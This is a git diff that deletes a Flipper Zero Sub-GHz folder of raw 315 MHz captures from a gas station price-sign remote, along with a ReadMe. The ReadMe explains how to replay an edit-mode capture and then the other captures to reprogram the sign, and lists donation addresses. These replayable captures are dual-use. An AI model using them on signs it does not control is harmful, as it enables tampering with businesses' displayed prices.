-94 121 -372 101 -368 125 -352 349 -104 141 -364 103 -338 127 -360 123 -340 349 -132 331 -124 121 -352 137 -336 127 -3722 101 -392 105 -336 125 -354 349 -140 301 -126 -RAW_Data: 341 -128 337 -128 339 -128 125 -374 325 -140 333 -128 317 -126 121 -374 101 -368 91 -386 349 -104 141 -362 105 -368 97 -358 93 -372 349 -132 331 -124 121 -350 139 -334 127 -3724 101 -392 105 -336 125 -366 331 -132 329 -124 361 -104 359 -106 337 -124 143 -342 349 -106 341 -130 357 -92 121 -374 137 -332 125 -354 351 -104 141 -362 105 -336 129 -360 125 -338 349 -132 331 -124 121 -352 137 -336 125 -3724 99 -392 105 -334 127 -356 349 -140 301 -124 343 -126 339 -128 337 -128 127 -372 325 -140 335 -126 319 -126 121 -372 101 -368 93 -386 351 -102 141 -364 103 -338 127 -358 93 -372 349 -132 331 -124 121 -350 139 -336 125 -3726 101 -356 141 -336 125 -364 331 -132 331 -124 337 -128 337 -130 337 -126 95 -382 351 -104 335 -126 343 -126 123 -372 101 -366 93 -382 351 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -124 121 -352 139 -334 127 -3722 99 -392 107 -334 127 -354 351 -102 337 -124 345 -126 337 -128 339 -128 125 -374 325 -140 333 -128 317 -126 121 -372 101 -368 93 -386 351 -102 141 -364 103 -338 127 -360 93 -370 351 -132 331 -124 119 -352 137 -336 125 -3718 97 -372 125 -346 125 -352 355 -104 351 -140 331 -124 361 -104 357 -108 105 -396 319 -106 351 -142 331 -124 109 -374 97 -360 93 -390 327 -124 121 -352 125 -344 131 -368 91 -378 351 -104 335 -122 123 -358 139 -336 125 -3718 99 -392 105 -336 127 -356 349 -140 301 -124 345 -126 337 -128 339 -128 125 -374 325 -140 333 -128 319 -124 121 -374 101 -368 93 -384 351 -104 141 -362 103 -338 127 -360 93 -370 351 -132 331 -124 121 -350 139 -334 127 -3722 99 -392 105 -336 125 -356 349 -140 301 -124 345 -126 337 -128 339 -128 127 -374 325 -140 333 -128 317 -126 121 -372 103 -366 93 -384 351 -102 141 -362 105 -338 129 -358 93 -370 349 -132 331 -124 121 -354 137 -334 127 -3724 99 -392 105 -334 127 -368 331 -134 327 -124 359 -106 357 -108 337 -126 143 -340 349 -106 339 -130 357 -94 121 -374 137 -332 125 -354 351 -102 143 -362 105 -336 129 -360 123 -340 349 -132 331 -124 121 -350 139 -336 127 -3714 97 -372 127 -344 125 -354 355 -106 351 -140 331 -124 361 -102 359 -106 105 -398 319 -140 315 -140 333 -124 107 -376 97 -360 93 -390 329 -122 123 -352 139 -334 127 -356 93 -372 349 -132 329 -124 121 -352 139 -334 127 -3728 101 -356 107 -370 93 -382 349 -104 335 -124 343 -126 369 -96 339 -128 125 -372 327 -140 335 -128 -RAW_Data: 349 -94 121 -372 101 -368 125 -352 351 -104 141 -362 105 -336 129 -358 125 -340 349 -132 331 -122 121 -352 139 -336 125 -3720 99 -392 105 -334 127 -356 351 -138 303 -126 343 -128 337 -128 337 -128 127 -374 327 -140 333 -126 319 -126 121 -372 101 -368 93 -384 351 -104 139 -362 105 -338 129 -358 93 -372 349 -132 329 -124 121 -352 137 -334 127 -3720 97 -370 95 -378 93 -382 355 -104 349 -140 333 -122 361 -104 357 -108 105 -398 319 -106 353 -140 331 -124 109 -342 127 -362 123 -360 327 -122 121 -352 139 -336 125 -356 125 -340 349 -134 331 -124 119 -352 139 -334 127 -3724 99 -392 105 -336 125 -354 351 -104 337 -124 341 -126 371 -96 337 -128 127 -370 327 -140 337 -126 349 -94 123 -372 101 -368 125 -350 351 -104 141 -362 105 -338 129 -360 91 -372 349 -132 331 -124 119 -352 139 -334 127 -3722 99 -392 105 -334 127 -356 349 -138 303 -126 343 -128 337 -128 337 -128 127 -374 327 -138 335 -126 319 -126 121 -372 101 -368 93 -384 351 -104 139 -362 105 -336 129 -360 93 -370 351 -132 329 -124 121 -352 137 -334 127 -3718 97 -370 127 -346 123 -354 353 -106 349 -140 333 -92 391 -104 359 -106 107 -360 357 -106 351 -140 333 -92 139 -342 127 -360 125 -360 327 -122 121 -352 125 -342 133 -366 93 -378 351 -102 337 -124 123 -356 139 -336 127 -3716 95 -372 127 -346 123 -352 355 -106 349 -140 333 -92 391 -104 359 -106 105 -362 357 -106 351 -140 333 -92 139 -342 127 -360 125 -360 327 -122 121 -352 125 -344 133 -366 91 -380 349 -104 335 -124 121 -360 139 -336 125 -3724 99 -392 105 -334 127 -354 349 -140 301 -126 343 -126 337 -128 339 -128 125 -376 325 -140 333 -126 317 -126 123 -372 101 -368 93 -384 351 -102 141 -362 103 -368 97 -360 93 -370 351 -132 331 -124 121 -352 139 -334 127 -3720 101 -392 105 -334 127 -356 349 -104 337 -122 345 -126 369 -96 369 -98 125 -372 325 -142 335 -128 349 -94 121 -372 101 -370 123 -352 351 -104 141 -362 105 -336 129 -358 125 -340 349 -134 331 -122 121 -350 139 -336 125 -3720 101 -392 105 -336 127 -356 349 -138 303 -124 345 -126 337 -130 337 -128 125 -376 325 -140 333 -128 317 -126 121 -372 101 -368 93 -384 351 -102 141 -362 105 -336 129 -360 93 -370 349 -132 331 -124 121 -352 139 -334 127 -3726 99 -356 143 -334 127 -366 329 -134 327 -124 337 -128 337 -128 337 -128 125 -348 351 -140 333 -94 345 -126 121 -372 101 -368 125 -350 351 -104 141 -362 -RAW_Data: 105 -336 129 -358 125 -338 349 -132 331 -124 121 -352 125 -344 131 -3726 99 -372 95 -372 125 -346 351 -140 325 -142 303 -124 351 -140 359 -108 105 -364 349 -106 359 -108 335 -126 141 -340 101 -366 123 -374 319 -134 103 -396 105 -336 127 -356 93 -372 349 -132 329 -124 121 -352 137 -334 127 -3718 97 -370 127 -346 123 -354 353 -106 349 -140 331 -124 361 -104 357 -108 105 -362 357 -106 351 -140 333 -92 139 -342 127 -360 125 -360 327 -122 121 -352 125 -344 131 -368 91 -380 349 -104 335 -124 123 -358 139 -334 125 -3728 101 -356 141 -334 125 -364 331 -134 329 -124 337 -128 337 -128 339 -126 125 -350 351 -104 369 -92 375 -96 121 -372 101 -368 123 -352 351 -102 143 -362 105 -336 129 -360 123 -340 349 -132 331 -124 121 -350 139 -336 125 -3718 101 -392 103 -336 129 -356 351 -140 301 -124 345 -126 337 -130 337 -128 127 -374 325 -140 335 -126 317 -126 123 -372 101 -368 93 -384 351 -102 141 -362 105 -336 129 -358 95 -370 351 -132 329 -124 121 -350 139 -334 127 -3722 101 -392 105 -334 127 -356 349 -104 337 -122 343 -126 369 -98 369 -96 125 -372 327 -140 335 -128 349 -94 121 -374 101 -368 125 -350 351 -104 141 -362 105 -338 129 -358 125 -340 349 -132 331 -124 119 -352 139 -336 127 -3722 99 -392 105 -336 125 -356 349 -140 303 -124 343 -126 339 -128 337 -128 127 -376 325 -140 333 -126 317 -126 121 -374 101 -366 93 -384 353 -102 141 -362 105 -336 129 -358 93 -372 349 -132 331 -124 121 -350 139 -334 127 -3720 99 -392 105 -336 127 -356 349 -104 367 -94 343 -126 369 -98 369 -96 125 -372 327 -140 335 -128 349 -94 121 -374 101 -368 125 -352 351 -104 141 -362 105 -336 129 -358 125 -340 349 -132 331 -122 121 -352 139 -336 125 -3724 101 -392 105 -334 125 -368 331 -134 329 -124 359 -104 359 -108 337 -124 143 -340 349 -106 339 -132 359 -92 121 -374 101 -370 123 -354 351 -102 143 -362 105 -336 129 -358 125 -340 349 -132 331 -124 119 -354 137 -336 127 -3716 99 -392 105 -336 127 -358 349 -140 303 -124 345 -126 337 -130 337 -128 127 -374 325 -140 335 -126 317 -126 121 -374 101 -368 91 -386 351 -102 141 -362 103 -368 97 -360 93 -370 351 -132 331 -122 123 -352 137 -336 125 -3720 97 -372 93 -380 91 -384 353 -104 349 -140 333 -124 359 -104 359 -106 107 -360 357 -106 351 -140 333 -92 139 -342 129 -360 123 -360 327 -124 121 -352 125 -342 133 -366 91 -380 351 -104 335 -122 123 -358 -RAW_Data: 139 -334 127 -3722 101 -392 105 -334 127 -354 351 -138 303 -124 343 -126 339 -128 337 -128 127 -376 325 -140 333 -126 317 -126 121 -374 101 -366 93 -384 353 -102 141 -362 105 -336 129 -358 95 -370 351 -132 329 -124 121 -350 139 -334 127 -3726 99 -392 105 -336 125 -354 349 -104 337 -124 341 -126 371 -96 337 -128 127 -372 325 -142 335 -128 349 -94 121 -372 101 -368 125 -352 349 -104 141 -362 105 -338 127 -360 123 -340 351 -132 331 -124 119 -352 139 -334 127 -3726 99 -392 107 -334 125 -368 329 -134 329 -124 337 -126 339 -128 337 -126 127 -348 351 -140 333 -92 347 -126 121 -372 101 -368 93 -384 349 -104 141 -362 105 -336 129 -358 123 -340 349 -132 333 -122 121 -352 139 -334 127 -3726 99 -394 105 -334 127 -366 331 -132 329 -122 337 -128 diff --git a/assets/resources/subghz/Gas_Sign/ReadMe.md b/assets/resources/subghz/Gas_Sign/ReadMe.md deleted file mode 100644 index 589c43fed..000000000 --- a/assets/resources/subghz/Gas_Sign/ReadMe.md +++ /dev/null @@ -1,60 +0,0 @@ -# Gas Station Price Sign - -## Captures by [0day](https://github.com/0dayCTF) (from [Discord](https://discord.com/channels/740930220399525928/954422680969445377/1001983366205284452)) - -Captured remote is [GL-OIL-RF](https://olympianled.com/product/gas-price-changer-rf-remote-control-gl-oil-rf/). The [PDF manual](https://github.com/UberGuidoZ/Flipper/blob/main/Sub-GHz/Gas_Sign/Manual_GL-OIL-RF.pdf) is also available and contains programming instructions. - ----------- - -Use the `Edit_mode.sub` to enable editing, then you can use the other SUB files for programming. See the manual above.
-If you're runing an unlocked or custom firmware with UniRF, then you can [use this map](https://github.com/UberGuidoZ/Flipper/blob/main/unirf/Gas_Sign_Edit.txt) to easily edit on the fly. - ----------- - -More work on this to be done! These captures are locked to the 20110120 code but can be [physically changed](https://olympianled.com/changing-remote-code/): - -``` -Our remote code is 20110120. As you can see from the pictures below: - -L1 = 2 - -No solder = 0 - -1H = 1 - -The receiver inside of your sign needs to match the remote code, so you’ll have to look at the receiver -inside of the sign that is attached to the GL_GMAN board. Here is a picture of the receiver for reference, -you can see it’s also matching our 20110120 code. -``` - -More info from hahalolha (#5124) via Discord (thanks for the DM!): - -"I believe I have found the [OEM manufacturer](http://m.glareled.com/). (This is the mobile site link as it appears their desktop site is offline, at least for me). I got this link from support chat on the site provided on your Github. Their Gas Station section [is here](http://m.glareled.com/h-pr.html?mid=527&groupId=69) and the page with the most info relevant to us [is here](http://m.glareled.com/h-pd-196.html#mid=3&groupId=69&desc=false). [This is also an interesting image](http://16958556.s21i.faiusr.com/4/ABUIABAEGAAgivuBlQYo5K-3dzCXBzjMAw!900x900.png.webp) I've found so far. I was originally trying to find which frequencies they use worldwide so I could hopefully create different versions for models around the world." - -More info from alejandro12120 (#8100): - -"Here is the [OEM manufacturer desktop site](https://www.glare-led.com/). Also here is the relevant [website](https://www.glare-led.com/h-col-132.html#project-case), those pictures are some examples where the gas sign is installed." - -Receiver - -![Remote_Receiver](https://user-images.githubusercontent.com/57457139/182993141-0f2a725b-036a-4b15-b38b-15c7e4177735.png) - -Remote - -![Remote_Back](https://user-images.githubusercontent.com/57457139/182993143-c4e261c7-c986-4a11-b17d-ed394d3953ba.png) - ------ - -I've had so many asking for me to add this.
-![Flipper_Blush](https://user-images.githubusercontent.com/57457139/183561666-4424a3cc-679b-4016-a368-24f7e7ad0a88.jpg) ![Flipper_Love](https://user-images.githubusercontent.com/57457139/183561692-381d37bd-264f-4c88-8877-e58d60d9be6e.jpg) - -**BTC**: `3AWgaL3FxquakP15ZVDxr8q8xVTc5Q75dS`
-**BCH**: `17nWCvf2YPMZ3F3H1seX8T149Z9E3BMKXk`
-**ETH**: `0x0f0003fCB0bD9355Ad7B124c30b9F3D860D5E191`
-**LTC**: `M8Ujk52U27bkm1ksiWUyteL8b3rRQVMke2` - -So, here it is. All donations of *any* size are humbly appreciated.
-![Flipper_Clap](https://user-images.githubusercontent.com/57457139/183561789-2e853ede-8ef7-41e8-a67c-716225177e5d.jpg) ![Flipper_OMG](https://user-images.githubusercontent.com/57457139/183561787-e21bdc1e-b316-4e67-b327-5129503d0313.jpg) - -Donations will be used for hardware (and maybe caffeine) to further testing!
-![UberGuidoZ](https://cdn.discordapp.com/emojis/1000632669622767686.gif) diff --git a/assets/resources/subghz/Gas_Sign/Right_gas.sub b/assets/resources/subghz/Gas_Sign/Right_gas.sub deleted file mode 100644 index a78eaa35d..000000000 --- a/assets/resources/subghz/Gas_Sign/Right_gas.sub +++ /dev/null @@ -1,46 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 315000000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 337 -426 363 -888242 167 -356 105 -368 93 -380 327 -126 353 -126 337 -128 339 -128 337 -128 93 -358 347 -132 333 -122 341 -128 121 -370 101 -368 91 -382 317 -134 141 -362 105 -336 127 -356 95 -370 349 -130 329 -124 337 -128 337 -130 123 -3698 97 -374 129 -338 127 -342 351 -140 325 -142 335 -96 345 -126 337 -128 125 -368 341 -140 305 -132 359 -94 121 -374 101 -368 93 -384 351 -102 141 -364 103 -336 129 -372 103 -360 347 -108 361 -106 339 -130 323 -124 123 -3710 131 -360 103 -358 105 -370 327 -142 335 -128 327 -140 361 -106 343 -102 137 -352 353 -94 345 -138 337 -126 97 -376 105 -370 91 -396 331 -132 101 -358 107 -370 93 -394 101 -362 347 -106 363 -106 339 -130 355 -92 121 -3706 129 -342 129 -338 129 -340 347 -124 339 -128 369 -96 337 -128 339 -124 125 -354 347 -132 333 -122 339 -126 121 -372 101 -366 91 -382 351 -102 143 -362 105 -334 129 -356 93 -372 349 -132 329 -124 335 -128 337 -128 125 -3698 131 -360 103 -376 105 -334 353 -140 333 -126 347 -94 369 -96 371 -96 125 -370 329 -140 337 -126 351 -94 123 -372 101 -368 93 -382 351 -104 141 -362 105 -336 127 -358 93 -370 349 -132 329 -124 337 -128 337 -128 125 -3704 97 -392 103 -342 137 -334 353 -138 335 -126 361 -106 359 -106 345 -102 135 -356 357 -106 347 -102 365 -92 121 -374 103 -368 125 -366 331 -132 103 -358 105 -370 93 -394 103 -360 349 -106 361 -106 339 -130 355 -94 121 -3712 133 -358 101 -358 105 -370 363 -106 337 -128 349 -94 369 -96 371 -96 125 -370 361 -108 337 -128 351 -94 121 -372 101 -368 93 -384 351 -102 143 -362 105 -336 127 -372 105 -360 349 -106 361 -108 339 -128 355 -92 123 -3710 131 -358 103 -358 107 -370 329 -140 337 -126 351 -94 369 -96 369 -98 125 -368 363 -108 335 -128 351 -94 121 -374 101 -368 93 -382 351 -104 141 -362 105 -336 127 -374 103 -360 349 -108 361 -106 339 -130 355 -94 121 -3714 99 -392 103 -358 107 -368 327 -140 335 -128 349 -94 391 -104 359 -106 105 -362 357 -106 347 -140 329 -94 139 -342 127 -360 93 -392 327 -122 121 -350 139 -334 127 -356 93 -372 347 -132 331 -124 335 -128 337 -130 123 -3698 133 -358 103 -378 105 -334 353 -140 335 -126 347 -94 369 -96 371 -96 125 -370 361 -108 337 -128 351 -94 121 -372 101 -368 93 -382 351 -104 141 -362 105 -336 127 -358 93 -372 349 -130 331 -124 337 -128 337 -128 125 -3700 129 -340 129 -340 127 -342 343 -126 -RAW_Data: 337 -130 337 -128 337 -126 365 -106 141 -362 353 -106 359 -108 333 -124 109 -374 97 -362 123 -360 327 -124 119 -352 139 -334 127 -356 93 -370 349 -132 331 -124 337 -128 337 -128 125 -3706 99 -392 103 -342 137 -334 351 -140 333 -94 393 -104 361 -106 345 -102 137 -356 353 -92 365 -106 337 -124 123 -358 139 -334 125 -356 351 -102 143 -362 105 -336 129 -358 93 -370 349 -132 331 -122 337 -128 337 -130 123 -3700 133 -358 103 -378 103 -336 353 -140 333 -126 347 -94 369 -98 369 -96 127 -368 363 -108 335 -128 351 -94 121 -372 103 -368 93 -382 351 -104 141 -362 105 -336 127 -358 93 -370 349 -132 331 -124 337 -128 337 -128 125 -3706 99 -374 95 -372 127 -344 345 -126 337 -130 337 -126 337 -126 357 -106 141 -346 345 -126 337 -128 339 -128 93 -368 125 -368 103 -362 347 -108 143 -342 91 -390 103 -356 107 -370 329 -140 337 -128 349 -94 391 -104 103 -3724 103 -342 137 -334 123 -354 359 -92 377 -94 369 -96 371 -96 369 -126 93 -368 359 -96 359 -124 337 -128 93 -368 131 -364 93 -378 349 -104 141 -362 105 -336 127 -356 93 -370 349 -132 331 -122 339 -126 337 -130 123 -3702 133 -358 103 -378 103 -334 353 -140 335 -126 363 -106 359 -106 343 -104 135 -356 357 -106 345 -104 363 -94 121 -374 137 -334 125 -366 331 -132 103 -358 107 -368 93 -396 103 -360 347 -108 361 -106 339 -130 355 -94 121 -3718 99 -372 127 -340 129 -340 347 -124 357 -106 357 -144 303 -124 387 -104 107 -360 331 -128 353 -126 359 -104 103 -384 103 -360 105 -370 347 -106 141 -362 103 -340 135 -334 123 -356 327 -122 385 -104 361 -106 339 -130 95 -3724 99 -354 125 -392 101 -356 357 -106 345 -102 361 -94 389 -104 359 -108 105 -360 357 -106 351 -140 333 -122 109 -342 129 -360 125 -358 327 -122 145 -344 99 -362 125 -358 103 -394 319 -142 317 -142 333 -124 359 -104 103 -3704 139 -334 127 -356 123 -340 349 -132 331 -124 337 -128 337 -128 339 -128 125 -342 357 -140 335 -126 347 -94 123 -372 101 -368 93 -384 349 -104 141 -362 105 -336 129 -356 93 -372 349 -132 329 -124 337 -128 337 -128 125 -3700 131 -360 103 -378 105 -336 353 -140 333 -128 347 -94 369 -96 371 -96 125 -370 329 -142 335 -128 349 -94 121 -374 101 -368 93 -384 351 -102 143 -362 105 -336 127 -358 93 -370 349 -132 331 -122 339 -126 337 -130 123 -3704 133 -358 103 -378 103 -336 353 -140 333 -126 347 -94 369 -96 369 -98 125 -368 363 -108 -RAW_Data: 337 -128 351 -94 121 -372 103 -366 125 -352 351 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -122 339 -126 337 -130 123 -3706 131 -360 103 -342 137 -336 351 -140 335 -126 361 -106 361 -104 345 -102 137 -356 353 -92 365 -106 337 -126 123 -358 139 -334 125 -354 353 -104 141 -362 105 -336 127 -360 93 -370 349 -132 329 -124 337 -128 337 -130 123 -3708 97 -374 97 -372 127 -342 345 -126 337 -130 337 -128 335 -126 361 -106 141 -346 345 -126 337 -128 337 -130 93 -366 125 -370 103 -360 349 -106 143 -342 93 -390 101 -358 107 -370 363 -108 335 -128 351 -94 391 -106 103 -3724 101 -342 137 -336 123 -356 357 -92 383 -106 359 -108 337 -130 355 -94 121 -372 353 -104 349 -140 333 -124 109 -374 95 -362 123 -340 349 -132 103 -396 105 -334 127 -354 93 -372 349 -132 329 -124 335 -128 337 -130 123 -3700 131 -358 103 -380 105 -336 353 -140 335 -126 347 -94 369 -96 371 -96 125 -370 363 -108 337 -128 349 -94 121 -374 101 -368 125 -350 351 -102 143 -362 105 -336 129 -358 93 -370 349 -132 331 -122 339 -126 339 -128 125 -3704 131 -358 103 -378 103 -336 353 -138 335 -126 363 -106 361 -106 343 -102 137 -356 353 -92 365 -106 337 -124 123 -360 139 -334 125 -356 349 -104 141 -364 103 -338 127 -358 125 -340 349 -132 329 -124 339 -126 337 -128 125 -3702 131 -360 101 -380 105 -336 353 -140 333 -128 347 -94 369 -96 371 -96 125 -370 361 -108 337 -128 351 -94 121 -372 101 -370 91 -384 351 -102 143 -362 105 -336 129 -358 93 -370 349 -132 331 -122 339 -126 339 -128 125 -3698 131 -360 101 -380 105 -336 353 -140 335 -126 349 -94 369 -96 371 -96 125 -370 363 -108 335 -128 351 -94 121 -374 101 -368 93 -384 351 -102 143 -362 105 -336 127 -358 93 -370 349 -132 331 -122 339 -128 337 -128 125 -3704 131 -358 103 -378 105 -336 351 -140 335 -126 349 -94 369 -96 371 -96 125 -368 365 -106 337 -128 351 -94 121 -372 101 -368 125 -352 349 -104 141 -364 103 -338 127 -358 93 -372 349 -132 329 -124 339 -126 337 -130 123 -3704 133 -358 103 -378 103 -336 353 -140 335 -126 363 -104 361 -106 343 -102 137 -356 357 -106 345 -104 365 -92 121 -374 137 -334 125 -368 331 -132 103 -358 107 -370 93 -394 103 -360 349 -106 361 -108 337 -132 355 -94 121 -3716 131 -358 101 -358 107 -370 363 -108 337 -128 351 -94 369 -96 369 -98 125 -368 363 -108 337 -128 351 -94 121 -372 103 -368 93 -382 351 -104 -RAW_Data: 141 -362 105 -336 129 -358 93 -370 349 -132 331 -124 337 -128 337 -128 125 -3702 131 -360 101 -378 105 -336 353 -140 335 -126 349 -94 369 -96 371 -96 125 -368 365 -106 337 -128 351 -94 121 -372 103 -368 93 -384 349 -104 141 -364 103 -336 129 -356 93 -372 349 -132 331 -124 337 -128 337 -128 123 -3698 131 -340 129 -340 127 -370 347 -94 369 -128 337 -128 337 -126 343 -124 91 -370 349 -132 329 -122 339 -126 123 -370 101 -366 93 -380 351 -104 141 -362 105 -336 127 -372 105 -360 349 -106 361 -108 337 -132 355 -94 121 -3710 133 -352 103 -394 105 -334 369 -108 337 -128 353 -94 369 -96 371 -96 125 -368 365 -108 337 -126 353 -94 121 -372 103 -368 125 -350 351 -104 141 -362 105 -336 129 -358 93 -372 349 -132 329 -124 337 -128 337 -130 123 -3704 131 -360 103 -378 103 -336 353 -140 335 -126 347 -94 371 -96 369 -96 127 -368 363 -108 337 -128 351 -94 121 -372 101 -370 91 -386 349 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -124 337 -126 339 -128 125 -3704 131 -358 103 -378 105 -334 355 -140 335 -126 347 -94 369 -96 371 -96 125 -370 363 -106 337 -128 351 -94 121 -374 101 -368 93 -384 349 -104 141 -362 105 -336 129 -358 93 -372 349 -132 331 -122 339 -126 337 -130 123 -3708 131 -340 129 -340 127 -342 343 -126 337 -130 337 -128 337 -124 365 -142 105 -346 345 -124 339 -128 337 -128 93 -368 125 -356 123 -360 327 -124 143 -342 99 -366 123 -360 103 -394 317 -142 357 -106 333 -122 361 -104 103 -3730 107 -368 95 -362 123 -340 349 -132 331 -124 337 -128 369 -96 337 -128 127 -372 327 -140 335 -126 349 -94 121 -374 101 -368 93 -384 351 -102 141 -364 105 -334 129 -358 93 -370 349 -134 329 -124 339 -126 339 -128 123 -3698 129 -340 129 -340 127 -372 345 -94 369 -128 337 -128 337 -126 343 -122 93 -370 349 -132 331 -122 339 -126 123 -370 101 -368 91 -382 351 -102 141 -364 105 -336 127 -358 93 -370 349 -132 331 -122 337 -128 337 -128 125 -3700 131 -340 127 -340 127 -372 345 -94 369 -128 337 -130 337 -126 341 -142 107 -362 347 -108 361 -106 337 -128 97 -368 141 -334 125 -352 351 -104 141 -362 105 -336 127 -358 93 -370 349 -134 329 -124 339 -126 339 -128 123 -3704 133 -358 103 -378 105 -336 353 -140 335 -126 347 -94 369 -96 369 -98 125 -368 363 -108 337 -128 351 -94 121 -374 101 -368 125 -352 351 -102 143 -362 105 -336 129 -358 93 -370 349 -132 331 -124 -RAW_Data: 337 -128 337 -128 125 -3702 133 -358 103 -380 103 -336 355 -138 335 -126 347 -94 369 -96 371 -96 125 -368 365 -108 335 -128 351 -94 123 -372 101 -368 125 -352 351 -102 143 -362 105 -336 129 -358 93 -370 349 -132 331 -124 339 -126 337 -130 123 -3698 131 -340 129 -338 129 -370 345 -94 369 -128 339 -128 337 -126 341 -124 91 -372 349 -132 329 -124 337 -128 121 -370 101 -368 91 -382 351 -104 141 -362 105 -336 127 -372 105 -360 349 -106 363 -106 339 -130 355 -94 121 -3712 131 -354 101 -396 105 -334 371 -106 337 -128 353 -94 369 -128 337 -130 93 -368 363 -108 337 -128 353 -94 121 -372 103 -368 125 -352 349 -104 141 -364 105 -336 127 -360 93 -370 349 -132 331 -122 339 -126 337 -130 123 -3708 131 -360 103 -378 103 -334 353 -140 335 -126 349 -92 371 -96 369 -96 127 -368 365 -106 337 -128 351 -94 121 -374 101 -368 93 -384 351 -102 143 -362 105 -336 127 -360 93 -370 349 -132 329 -124 339 -126 337 -130 123 -3698 133 -358 103 -382 105 -336 353 -140 335 -126 349 -94 371 -96 369 -96 127 -368 363 -108 337 -128 351 -94 121 -374 101 -368 123 -352 351 -104 141 -362 105 -336 129 -360 93 -370 349 -132 331 -122 339 -128 337 -128 123 -3698 131 -340 129 -372 95 -370 347 -94 367 -130 337 -128 337 -126 341 -124 91 -372 349 -132 329 -124 339 -126 123 -370 101 -366 93 -382 349 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -122 339 -126 337 -130 123 -3702 133 -358 103 -380 105 -336 353 -140 335 -126 349 -94 369 -96 371 -96 125 -370 363 -106 337 -128 351 -94 121 -374 101 -370 91 -384 351 -102 141 -364 105 -336 127 -360 93 -370 349 -132 331 -124 337 -128 337 -128 125 -3698 131 -340 129 -370 97 -370 345 -94 369 -128 339 -128 337 -126 341 -122 93 -372 349 -130 331 -124 337 -128 121 -372 101 -366 93 -380 351 -104 141 -362 105 -336 129 -356 93 -372 349 -132 331 -122 339 -128 337 -128 125 -3696 131 -360 101 -384 105 -336 353 -140 335 -128 349 -94 369 -96 371 -96 125 -368 365 -106 337 -128 351 -94 121 -374 101 -368 125 -352 351 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -124 337 -128 337 -130 123 -3698 133 -358 103 -382 105 -336 353 -140 335 -128 349 -94 369 -96 369 -98 125 -368 363 -108 337 -128 351 -94 121 -374 101 -368 125 -352 351 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -122 339 -126 337 -130 123 -3708 131 -360 103 -378 103 -336 -RAW_Data: 353 -140 335 -126 361 -106 361 -106 343 -102 137 -356 353 -94 343 -140 337 -128 97 -376 105 -370 93 -396 329 -132 103 -358 107 -370 93 -396 103 -360 347 -108 361 -106 339 -130 355 -94 121 -3740 99 -346 127 -370 97 -372 345 -92 377 -94 369 -96 371 -96 369 -126 93 -358 345 -134 333 -124 339 -128 121 -372 101 -368 91 -382 351 -102 143 -362 105 -336 129 -358 93 -370 349 -132 331 -124 337 -128 337 -130 123 -3696 131 -340 129 -372 95 -370 347 -124 337 -130 337 -128 337 -126 341 -124 91 -374 349 -132 331 -122 337 -128 121 -372 101 -366 93 -382 351 -102 143 -362 105 -336 127 -358 93 -370 349 -132 331 -124 337 -128 337 -130 123 -3698 131 -358 103 -382 105 -336 355 -140 335 -128 363 -104 361 -106 343 -104 135 -356 359 -106 347 -102 365 -92 121 -374 139 -332 127 -366 333 -132 103 -358 105 -370 93 -396 103 -360 347 -108 361 -106 339 -130 357 -92 121 -3714 131 -354 103 -394 105 -336 369 -106 337 -130 353 -92 369 -130 337 -128 95 -368 363 -108 337 -128 353 -94 121 -372 103 -368 125 -352 349 -104 141 -364 103 -338 129 -358 93 -372 349 -130 331 -124 337 -128 337 -128 125 -3704 133 -358 103 -380 103 -336 355 -140 333 -126 347 -94 371 -96 369 -96 127 -368 363 -108 337 -128 351 -94 121 -374 101 -370 123 -352 351 -104 141 -362 105 -336 129 -358 93 -372 349 -132 331 -122 339 -128 337 -128 125 -3698 131 -358 103 -382 105 -336 355 -140 335 -126 365 -104 361 -106 345 -102 137 -356 357 -106 347 -102 365 -92 121 -374 139 -332 127 -352 351 -104 141 -362 105 -336 129 -360 93 -390 327 -122 337 -128 337 -130 337 -128 125 -3702 133 -358 103 -370 99 -362 351 -140 333 -94 377 -94 369 -96 371 -96 125 -370 329 -140 337 -128 351 -94 121 -372 101 -370 123 -352 351 -104 141 -364 103 -338 127 -358 93 -372 349 -132 331 -122 339 -128 337 -128 125 -3698 131 -358 103 -382 105 -336 355 -140 335 -126 365 -104 361 -106 345 -102 137 -356 357 -106 347 -104 363 -94 121 -374 137 -334 125 -366 331 -134 103 -358 107 -368 93 -396 103 -360 347 -108 361 -106 339 -132 355 -94 121 -3710 131 -352 137 -360 103 -338 373 -108 337 -130 353 -94 369 -96 369 -98 125 -368 365 -106 337 -128 353 -94 121 -372 103 -368 125 -350 351 -104 141 -362 105 -338 129 -358 93 -370 349 -132 331 -124 339 -126 337 -130 123 -3698 131 -360 101 -384 103 -336 357 -140 333 -128 363 -106 359 -106 345 -104 137 -356 -RAW_Data: 357 -106 347 -102 363 -124 91 -374 137 -334 125 -366 333 -134 101 -358 107 -370 93 -396 103 -360 347 -108 361 -106 339 -130 357 -92 121 -3742 97 -346 127 -372 97 -372 317 -122 375 -96 369 -96 371 -96 369 -94 125 -370 327 -128 357 -124 337 -128 93 -368 131 -364 93 -378 351 -102 141 -362 105 -336 127 -358 93 -370 349 -132 331 -124 339 -126 337 -130 123 -3704 133 -358 103 -380 103 -336 355 -140 335 -126 349 -94 369 -96 369 -96 127 -368 363 -108 337 -128 351 -94 121 -374 101 -368 125 -352 351 -102 143 -362 105 -336 129 -358 93 -370 349 -132 331 -124 337 -126 339 -128 125 -3700 131 -358 103 -382 105 -336 357 -140 333 -128 363 -104 361 -106 345 -102 137 -356 353 -92 365 -106 337 -124 125 -358 139 -334 127 -356 349 -104 141 -362 105 -338 129 -358 93 -370 349 -134 331 -122 339 -126 337 -130 123 -3708 131 -358 103 -380 103 -336 355 -140 335 -126 361 -106 361 -106 343 -102 137 -356 353 -94 365 -104 339 -124 123 -358 139 -336 125 -356 351 -102 143 -362 105 -336 129 -358 93 -372 349 -132 331 -124 337 -126 339 -128 123 -3706 133 -358 103 -380 103 -336 355 -140 335 -126 363 -104 361 -106 343 -104 135 -356 357 -106 347 -104 365 -122 91 -374 139 -332 125 -368 333 -132 103 -358 105 -370 93 -396 103 -360 347 -108 361 -106 339 -132 355 -94 121 -3710 131 -352 135 -360 105 -336 375 -106 339 -130 353 -94 369 -96 371 -96 125 -368 365 -106 339 -128 351 -94 121 -374 101 -368 125 -352 349 -104 141 -364 105 -336 129 -360 93 